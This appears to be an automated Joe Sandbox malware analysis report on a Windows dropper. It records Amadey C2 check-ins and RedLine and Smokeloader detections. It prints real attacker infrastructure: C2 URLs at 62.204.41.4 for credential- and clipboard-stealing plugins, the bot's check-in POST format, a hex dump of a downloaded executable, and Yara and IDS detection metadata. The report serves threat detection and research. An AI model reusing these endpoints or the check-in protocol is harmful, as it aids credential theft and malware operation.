ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449708802027700 02/08/23-21:31:11.181341
SID:	2027700
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449888802027700 02/08/23-21:32:07.875066
SID:	2027700
Source Port:	49888
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449717802027700 02/08/23-21:31:14.890076
SID:	2027700
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449799802027700 02/08/23-21:31:43.671152
SID:	2027700
Source Port:	49799
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449742802027700 02/08/23-21:31:26.717821
SID:	2027700
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449831802027700 02/08/23-21:31:51.495547
SID:	2027700
Source Port:	49831
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449825802027700 02/08/23-21:31:50.017874
SID:	2027700
Source Port:	49825
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449949802027700 02/08/23-21:32:25.497713
SID:	2027700
Source Port:	49949
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449920802027700 02/08/23-21:32:18.281072
SID:	2027700
Source Port:	49920
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449955802027700 02/08/23-21:32:27.359900
SID:	2027700
Source Port:	49955
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449701802027700 02/08/23-21:31:09.596330
SID:	2027700
Source Port:	49701
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449914802027700 02/08/23-21:32:16.837700
SID:	2027700
Source Port:	49914
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449866802027700 02/08/23-21:32:02.560496
SID:	2027700
Source Port:	49866
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449736802027700 02/08/23-21:31:25.096773
SID:	2027700
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449908802027700 02/08/23-21:32:14.246091
SID:	2027700
Source Port:	49908
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449777802027700 02/08/23-21:31:38.278119
SID:	2027700
Source Port:	49777
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449819802027700 02/08/23-21:31:48.579157
SID:	2027700
Source Port:	49819
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449796802027700 02/08/23-21:31:42.929791
SID:	2027700
Source Port:	49796
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449761802027700 02/08/23-21:31:31.280569
SID:	2027700
Source Port:	49761
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449891802027700 02/08/23-21:32:08.577608
SID:	2027700
Source Port:	49891
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449885802027700 02/08/23-21:32:07.169004
SID:	2027700
Source Port:	49885
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449720802027700 02/08/23-21:31:17.276374
SID:	2027700
Source Port:	49720
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449850802027700 02/08/23-21:31:58.686515
SID:	2027700
Source Port:	49850
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 Feb 2023 20:31:09 GMTContent-Type: application/octet-streamContent-Length: 91136Last-Modified: Fri, 03 Feb 2023 17:19:21 GMTConnection: keep-aliveETag: "63dd4219-16400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 07 18 8f 2c 43 79 e1 7f 43 79 e1 7f 43 79 e1 7f 18 11 e2 7e 49 79 e1 7f 18 11 e4 7e cb 79 e1 7f 18 11 e5 7e 51 79 e1 7f 96 14 e5 7e 4c 79 e1 7f 96 14 e2 7e 52 79 e1 7f 96 14 e4 7e 62 79 e1 7f 18 11 e0 7e 46 79 e1 7f 43 79 e0 7f 19 79 e1 7f d8 17 e8 7e 40 79 e1 7f d8 17 e1 7e 42 79 e1 7f d8 17 1e 7f 42 79 e1 7f d8 17 e3 7e 42 79 e1 7f 52 69 63 68 43 79 e1 7f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d4 38 dd 63 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 18 00 de 00 00 00 8c 00 00 00 00 00 00 00 3e 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 01 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 a0 4a 01 00 9c 00 00 00 3c 4b 01 00 3c 00 00 00 00 80 01 00 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 54 10 00 00 20 3f 01 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 3f 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 2c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 56 dd 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ee 61 00 00 00 f0 00 00 00 62 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 14 00 00 00 60 01 00 00 0c 00 00 00 44 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 00 00 00 00 80 01 00 00 02 00 00 00 50 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 54 10 00 00 00 90 01 00 00 12 00 00 00 52 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View

ASN Name: TNNET-ASTNNetOyMainnetworkFI TNNET-ASTNNetOyMainnetworkFI

Source: Joe Sandbox View

IP Address: 62.204.41.4 62.204.41.4

Source: mnolyk.exe, 00000010.00000002.785793369.0000000001161000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/Plugins/clip64.dll
Source: mnolyk.exe, 00000010.00000002.785793369.000000000113A000.00000004.00000020.00020000.00000000.sdmp, mnolyk.exe, 00000010.00000002.785793369.00000000010FA000.00000004.00000020.00020000.00000000.sdmp, mnolyk.exe, 00000010.00000002.785793369.0000000001161000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/Plugins/cred64.dll
Source: mnolyk.exe, 00000010.00000002.785793369.000000000113A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/Plugins/cred64.dllG
Source: mnolyk.exe, 00000010.00000002.785793369.0000000001161000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.php
Source: mnolyk.exe, 00000010.00000002.785793369.0000000001161000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.php.
Source: mnolyk.exe, 00000010.00000002.785793369.0000000001161000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.php2
Source: mnolyk.exe, 00000010.00000002.785793369.0000000001161000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.php342a2
Source: mnolyk.exe, 00000010.00000002.785793369.000000000117F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpFo
Source: mnolyk.exe, 00000010.00000002.785793369.000000000117F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpIo
Source: mnolyk.exe, 00000010.00000002.785793369.0000000001161000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpL
Source: mnolyk.exe, 00000010.00000003.741852374.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpc
Source: mnolyk.exe, 00000010.00000002.785793369.000000000113A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpe
Source: mnolyk.exe, 00000010.00000002.785793369.000000000113A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpe5342a2
Source: mnolyk.exe, 00000010.00000002.785793369.000000000117F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpm0
Source: mnolyk.exe, 00000010.00000002.785793369.0000000001161000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phprundll32.exe
Source: mnolyk.exe, 00000010.00000002.785793369.0000000001161000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phprundll32.exel
Source: mnolyk.exe, 00000010.00000002.785793369.0000000001161000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpt
Source: mnolyk.exe, 00000010.00000002.785793369.0000000001161000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phptch
Source: mnolyk.exe, 00000010.00000002.785793369.00000000010FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Gol478Ns/index.phpyux
Source: mnolyk.exe, 00000010.00000002.785793369.000000000117F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.204.41.4/Golol478Ns/index.php

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

Code function: 15_2_011D7F00 CreateMutexW,GetLastError,SetCurrentDirectoryA,CreateFileA,InternetOpenA,InternetOpenUrlA,InternetReadFile,WriteFile,WriteFile,InternetReadFile,CloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,RemoveDirectoryA,

15_2_011D7F00

Source: global traffic	HTTP traffic detected: GET /Gol478Ns/Plugins/cred64.dll HTTP/1.1Host: 62.204.41.4
Source: global traffic	HTTP traffic detected: GET /Gol478Ns/Plugins/clip64.dll HTTP/1.1Host: 62.204.41.4

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 Feb 2023 20:31:09 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.4

Source: unknown

HTTP traffic detected: POST /Gol478Ns/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 62.204.41.4Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1

Source: xriv.exe, 0000000F.00000002.402972020.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.2.amMl.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 2.2.amMl.exe.5b0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 2.2.amMl.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 2.3.amMl.exe.5e0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000002.00000002.367095576.0000000000767000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000002.00000003.343232585.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011D3BA2	0_2_011D3BA2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011D5C9E	0_2_011D5C9E
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe	Code function: 1_2_00F83BA2	1_2_00F83BA2
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe	Code function: 1_2_00F85C9E	1_2_00F85C9E
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_00408C60	2_2_00408C60
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_0040DC11	2_2_0040DC11
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_00407C3F	2_2_00407C3F
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_00418CCC	2_2_00418CCC
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_00406CA0	2_2_00406CA0
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_004028B0	2_2_004028B0
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_0041A4BE	2_2_0041A4BE
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_00418244	2_2_00418244
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_00401650	2_2_00401650
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_00402F20	2_2_00402F20
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_004193C4	2_2_004193C4
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_00418788	2_2_00418788
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_00402F89	2_2_00402F89
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_00402B90	2_2_00402B90
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_004073A0	2_2_004073A0
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_005B786D	2_2_005B786D
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_005B18B7	2_2_005B18B7
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_005B31F0	2_2_005B31F0
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_005C89EF	2_2_005C89EF
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_005B3187	2_2_005B3187
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_005B2B17	2_2_005B2B17
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_005C84AB	2_2_005C84AB
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_005B2DF7	2_2_005B2DF7
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_005BDE78	2_2_005BDE78
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_005B8EC7	2_2_005B8EC7
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_005B7EA6	2_2_005B7EA6
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_005B6F07	2_2_005B6F07
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_005C8F33	2_2_005C8F33
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_005CA725	2_2_005CA725
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_005B77D9	2_2_005B77D9
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_02390DB0	2_2_02390DB0
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_02390DA7	2_2_02390DA7
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 15_2_011F8530	15_2_011F8530
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 15_2_011F754D	15_2_011F754D
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 15_2_011D67D0	15_2_011D67D0

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\clip64[1].dll B5BD049D32F0FAEEA6CE65A0F0D326DE5BC4427A7C1AD24BFB0EA050C1DEC7D3

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2.2.amMl.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 2.2.amMl.exe.5b0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 2.2.amMl.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 2.3.amMl.exe.5e0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000002.00000002.367095576.0000000000767000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
